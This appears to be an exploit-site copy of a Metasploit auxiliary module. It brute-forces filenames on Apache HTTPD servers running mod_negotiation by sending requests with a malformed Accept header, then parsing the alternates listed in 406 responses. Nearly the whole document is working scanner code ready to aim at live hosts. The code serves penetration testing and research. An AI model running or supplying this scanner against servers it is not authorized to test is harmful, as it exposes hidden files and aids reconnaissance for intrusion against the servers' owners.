Exploit for Apache HTTPD Mod_negotiation Filename Bruter

## https://sploitus.com/exploit?id=PACKETSTORM:181066
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
##  
# mod_negotiation bruter  
# http://httpd.apache.org/docs/1.3/content-negotiation.html  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apache HTTPD mod_negotiation Filename Bruter',  
'Description' => %q{  
This module performs a brute force attack in order to discover existing files on a  
server which uses mod_negotiation. If the filename is found, the IP address and the  
files found will be displayed.  
},  
'Author' => [ 'diablohorn [at] gmail.com' ],  
'License' => MSF_LICENSE))  
  
register_options(  
[  
OptString.new('PATH', [ true, "The path to detect mod_negotiation", '/']),  
OptPath.new('FILEPATH',[true, "path to file with file names",  
File.join(Msf::Config.data_directory, "wmap", "wmap_files.txt")])  
])  
end  
  
def run_host(ip)  
ecode = nil  
emesg = nil  
  
tpath = normalize_uri(datastore['PATH'])  
tfile = datastore['FILEPATH']  
  
if tpath[-1,1] != '/'  
tpath += '/'  
end  
  
# load the file with filenames into memory  
queue = []  
File.open(datastore['FILEPATH'], 'rb').each_line do |fn|  
queue << fn.strip  
end  
  
vhost = datastore['VHOST'] || ip  
prot = datastore['SSL'] ? 'https' : 'http'  
  
#  
# Send the request and parse the response headers for an alternates header  
#  
begin  
queue.each do |dirname|  
reqpath = tpath+dirname  
# Send the request the accept header is key here  
res = send_request_cgi({  
'uri' => reqpath,  
'method' => 'GET',  
'ctype' => 'text/html',  
'headers' => {'Accept' => 'a/b'}  
}, 20)  
  
return if not res  
  
# Check for alternates header and parse them  
if(res.code == 406)  
chunks = res.headers.to_s.scan(/"(.*?)"/i).flatten  
chunks.each do |chunk|  
chunk = chunk.to_s  
print_status("#{ip} #{tpath}#{chunk}")  
end  
end  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
  
end  
end